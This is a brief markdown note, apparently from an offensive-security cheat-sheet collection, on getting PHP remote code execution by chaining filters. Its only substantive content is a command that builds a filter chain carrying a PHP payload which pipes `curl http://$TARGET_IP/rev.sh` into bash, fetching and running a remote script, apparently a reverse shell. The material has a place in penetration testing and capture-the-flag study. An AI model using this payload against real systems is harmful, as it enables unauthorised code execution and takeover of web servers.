killchain-compendium/Exploits/Web/PHP Filer Chain.md

PHP Filter Chain Generator

• Get RCEs without uploading by chaining filters
• Or by uploading a filtered file

./php_filter_chain_generator.py --chain '<?= `curl http://$TARGET_IP/rev.sh|bash` ;?>'